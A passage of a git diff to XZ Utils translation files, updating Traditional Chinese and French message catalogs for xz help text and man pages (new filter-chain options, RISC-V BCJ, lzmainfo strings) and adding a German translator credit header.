liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + #: src/xz/message.c:1067 msgid "" "\n" @@ -821,6 +922,18 @@ msgstr "" " depth=NUM 最大搜尋深度;0=自動(預設)" #: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --arm[=OPTS] ARM BCJ filter\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +#| " --arm64[=OPTS] ARM64 BCJ filter\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -830,6 +943,7 @@ msgid "" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -844,7 +958,7 @@ msgstr "" " 所有 BCJ 篩選器可用的 OPTS:\n" " start=NUM 轉換起始位移(預設值=0)" -#: src/xz/message.c:1095 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -856,7 +970,7 @@ msgstr "" " dist=NUM 相減的位元組之間的距離\n" " (1-256; 1)" -#: src/xz/message.c:1103 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -864,7 +978,7 @@ msgstr "" "\n" " 其他選項:\n" -#: src/xz/message.c:1106 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -872,21 +986,21 @@ msgstr "" " -q, --quiet 隱藏警告訊息;指定兩次也一併隱藏錯誤訊息\n" " -v, --verbose 輸出較詳細內容;指定兩次更詳細輸出" -#: src/xz/message.c:1111 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn 即使有警告,退出狀態碼仍不變" -#: src/xz/message.c:1113 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot 使用機器可解析訊息(適合用於指令稿)" -#: src/xz/message.c:1116 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" msgstr " --info-memory 顯示記憶體總量和使用中的記憶體用量限制後退出" -#: src/xz/message.c:1119 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -894,7 +1008,7 @@ msgstr "" " -h, --help 顯示較短說明(僅列出基本選項)\n" " -H, --long-help 顯示較長說明後退出" -#: src/xz/message.c:1123 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -902,11 +1016,12 @@ msgstr "" " -h, --help 顯示較短說明後退出\n" " -H, --long-help 顯示較長說明(也列出進階選項)" -#: src/xz/message.c:1128 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version 顯示版本號碼後退出" -#: src/xz/message.c:1130 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -918,31 +1033,46 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1136 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "請回報臭蟲至 <%s>(使用英文或芬蘭語)。\n" -#: src/xz/message.c:1138 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s 首頁:<%s>\n" -#: src/xz/message.c:1142 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "此為開發版本,不打算在生產環境使用。" -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "不支援的篩選鏈或篩選器選項" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s:選項形式必須為以逗號分隔的「name=value」值對" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s:選項名稱無效" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s:選項值無效" @@ -956,56 +1086,80 @@ msgstr "不支援的 LZMA1/LZMA2 設定檔:%s" msgid "The sum of lc and lp must not exceed 4" msgstr "lc 和 lp 的總和不能超過 4" -#: src/xz/suffix.c:160 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s:檔名有未知後綴,跳過" -#: src/xz/suffix.c:181 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s:檔案已有「%s」後綴,跳過" -#: src/xz/suffix.c:388 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s:檔名後綴無效" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s:數值不是非負數十進位整數" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s:乘數後綴無效" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "有效的後綴有「KiB」(2^10)、「MiB」(2^20) 及「GiB」(2^30)。" -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "選項「%s」的數值必須在 [%, %] 範圍內" -#: src/xz/util.c:269 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "不能從終端機讀入已壓縮資料" -#: src/xz/util.c:282 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "不能將已壓縮資料寫入終端機" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s:因過小而不認為是個有效 .xz 檔" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "寫入標準輸出失敗" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "未知錯誤" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "無法啟用沙盒" + #~ msgid "Sandbox is disabled due to incompatible command line arguments" #~ msgstr "由於指定不相容的指令列參數,已停用沙盒" diff --git a/po4a/de.po.authors b/po4a/de.po.authors new file mode 100644 index 00000000..4cbc5c1f --- /dev/null +++ b/po4a/de.po.authors @@ -0,0 +1,4 @@ +PO4A-HEADER: position=^\.\\" Author; mode=after; beginboundary=^\.\\"$ +.\" +.\" German translation for xz-man. +.\" Mario Blättermann , 2015, 2019-2020, 2022-2024. diff --git a/po4a/fr.po b/po4a/fr.po index ef7c4fd9..8f45452d 100644 --- a/po4a/fr.po +++ b/po4a/fr.po @@ -9,7 +9,7 @@ msgid "" msgstr "" "Project-Id-Version: XZ Utils 5.2.5\n" -"POT-Creation-Date: 2024-02-22 22:35+0800\n" +"POT-Creation-Date: 2024-02-24 16:22+0800\n" "PO-Revision-Date: 2021-12-01 15:17+0100\n" "Last-Translator: bubu \n" "Language-Team: French \n" @@ -249,6 +249,24 @@ msgstr "" "en format B<.xz>, et B<.lzma> ou B<.tlz> lors d'une compression en format B<." "lzma>)." +#. type: Plain text +#: ../src/xz/xz.1:169 +#, fuzzy +#| msgid "" +#| "The operation mode is set to compress and the I already has a " +#| "suffix of the target file format (B<.xz> or B<.txz> when compressing to " +#| "the B<.xz> format, and B<.lzma> or B<.tlz> when compressing to the B<." +#| "lzma> format)." +msgid "" +"The operation mode is set to decompress and the I doesn't have a " +"suffix of any of the supported file formats (B<.xz>, B<.txz>, B<.lzma>, B<." +"tlz>, or B<.lz>)." +msgstr "" +"Le mode d'opération est défini pour compresser et le I a déjà un " +"suffixe du format de fichier cible (B<.xz> ou B<.txz> lors d'une compression " +"en format B<.xz>, et B<.lzma> ou B<.tlz> lors d'une compression en format B<." +"lzma>)." + #. type: Plain text #: ../src/xz/xz.1:184 msgid "" @@ -586,6 +604,26 @@ msgstr "B<-k>, B<--keep>" msgid "Don't delete the input files." msgstr "Ne pas effacer les fichiers d'entrée." +#. type: Plain text +#: ../src/xz/xz.1:416 +#, fuzzy +#| msgid "" +#| "Compress or decompress even if the input is a symbolic link to a regular " +#| "file, has more than one hard link, or has the setuid, setgid, or sticky " +#| "bit set. The setuid, setgid, and sticky bits are not copied to the " +#| "target file." +msgid "" +"Since B 5.2.6, this option also makes B compress or decompress even " +"if the input is a symbolic link to a regular file, has more than one hard " +"link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and " +"sticky bits are not copied to the target file. In earlier versions this was " +"only done with B<--force>." +msgstr "" +"Compresser ou décompresser même si l'entrée est un lien symbolique vers un " +"fichier normal, a plus qu'un lien physique, ou a le bit setuid, setgid ou " +"sticky défini. Les bits setuid, setgid et sticky bits ne sont pas copiés " +"dans le fichier cible." + #. type: TP #: ../src/xz/xz.1:416 #, no-wrap @@ -1695,6 +1733,13 @@ msgid "" "means that B won't be able decompress the files in multi-threaded mode." msgstr "" +#. type: TP +#: ../src/xz/xz.1:922 +#, fuzzy, no-wrap +#| msgid "B<--block-size=>I" +msgid "B<--block-list=>I" +msgstr "B<--block-size=>I" + #. type: Plain text #: ../src/xz/xz.1:928 msgid "" @@ -1954,6 +1999,13 @@ msgstr "" "échouera. Voir B<--memlimit-compress=>I pour les manières possibles " "d'indiquer la I." +#. type: TP +#: ../src/xz/xz.1:1151 +#, fuzzy, no-wrap +#| msgid "B<--memlimit-decompress=>I" +msgid "B<--memlimit-mt-decompress=>I" +msgstr "B<--memlimit-decompress=>I" + #. type: Plain text #: ../src/xz/xz.1:1173 msgid "" @@ -2197,6 +2249,13 @@ msgstr "" "fonctionne aussi pour voir les options de chaîne de filtres utilisées par " "les préréglages." +#. type: TP +#: ../src/xz/xz.1:1392 +#, fuzzy, no-wrap +#| msgid "B<--files>[B<=>I]" +msgid "B<--filters=>I" +msgstr "B<--files>[B<=>I]" + #. type: Plain text #: ../src/xz/xz.1:1413 msgid "" @@ -2229,6 +2288,13 @@ msgid "" "and the text part only the LZMA2 filter." msgstr "" +#. type: TP +#: ../src/xz/xz.1:1421 +#, fuzzy, no-wrap +#| msgid "B<-h>, B<--help>" +msgid "B<--filters-help>" +msgstr "B<-h>, B<--help>" + #. type: Plain text #: ../src/xz/xz.1:1431 msgid "" @@ -2735,6 +2801,13 @@ msgstr "B<--arm>[B<=>I]" msgid "B<--armthumb>[B<=>I]" msgstr "B<--armthumb>[B<=>I]" +#. type: TP +#: ../src/xz/xz.1:1807 +#, fuzzy, no-wrap +#| msgid "B<--arm>[B<=>I]" +msgid "B<--arm64>[B<=>I]" +msgstr "B<--arm>[B<=>I]" + #. type: TP #: ../src/xz/xz.1:1809 #, no-wrap @@ -3782,6 +3855,13 @@ msgstr "" "nouvelles colonnes pourront être ajoutées aux types de lignes existants, " "mais les colonnes existantes ne seront pas modifiées." +#. type: SS +#: ../src/xz/xz.1:2382 +#, fuzzy, no-wrap +#| msgid "Filter" +msgid "Filters help" +msgstr "Filtre" + #. type: Plain text #: ../src/xz/xz.1:2385 msgid "" @@ -3796,6 +3876,27 @@ msgid "" ">I